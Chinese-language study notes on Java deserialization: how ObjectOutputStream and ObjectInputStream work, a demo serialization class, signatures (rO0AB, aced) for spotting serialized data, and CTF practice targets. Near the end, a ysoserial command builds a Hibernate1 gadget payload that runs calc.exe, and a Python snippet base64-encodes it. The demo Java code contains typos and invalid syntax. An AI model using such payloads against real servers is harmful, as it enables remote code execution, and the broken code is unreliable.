java序列化与反序列化过程
位置:jva.io.ObjectOutputStream java.io.ObjectlnputStream
Java 序列化是指
把 Java 对象转换为字节序列的过程ObjectOutputStream类的 writeObject() 方法可以实现序列化
注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中按java的标准约定是给文件一个.ser扩展名。
Java 反序列化是指
把字节序列恢复为 Java 对象的过程ObjectInputStream 类的 readObject() 方法用于反序列化。
注:该方法从一个源输入流中读取字节序列,再把他们反序列化为一个对象,将其返回。
实现java.io.Serializable接口才可被反序列化,而且所有属性必须是可序列化的
(用transient关键字修饰的属性除外,不参与序列化过程)
java序列化&反序列化代码
package SerialTest;
import java.io.*;
public class SerializableTest{
public static void main(String[] args) throws Exception{
serialPerson();
Person person = deserialPerson();
System.out.println(person);
}
/*Person对象序列化 @throws IOException*/
perivate static void serialPerson() throws IOException{
Person person = new Person(name:'xiaodi',age:28,sex:'男',stuid:101);
ObjectOutputStream oos = new ObjectOutputStream(
new FileOutputStream(new File(pathname:"d:/person.txt"))
);
oos.writeobject(person);
System.out.println("person对象序列化成功!");
oos.close();
}
/*Person对象反序列化 @return @throws Exception*/
private static Person deserialPerson() throws Exception{
ObjectInputStream ois = new ObjectInputStream(
new FileInputStream(new File(pathname "d:/person.txt"))
);
Person person = (Person)ois.readObject();
System.out.println("person 对象反序列化成功!");
return person;
}
}
下方的特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密数据。
或者如果以aced开头,那么他就是一段java反序列化的16进制。
案例练习平台:
网鼎杯2020 thinkjava
WebGoat_javaweb
攻击如何构造payload:
反弹shell
ysoserial工具:
利用该工具生成payload:
"C:\Program Files\Java\jdk-11\bin\java.exe" -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-master-d367e379d9-1.jar ysoserial.GeneratePayload Hibernate1 "calc.exe" > x.bin
文件base64加密:
import base64
file = open("text.bin","rb").read()
ba = base64.urlsafe_b64encode(file)
open("text.txt","wt",encoding="utf-8").write(ba.decode())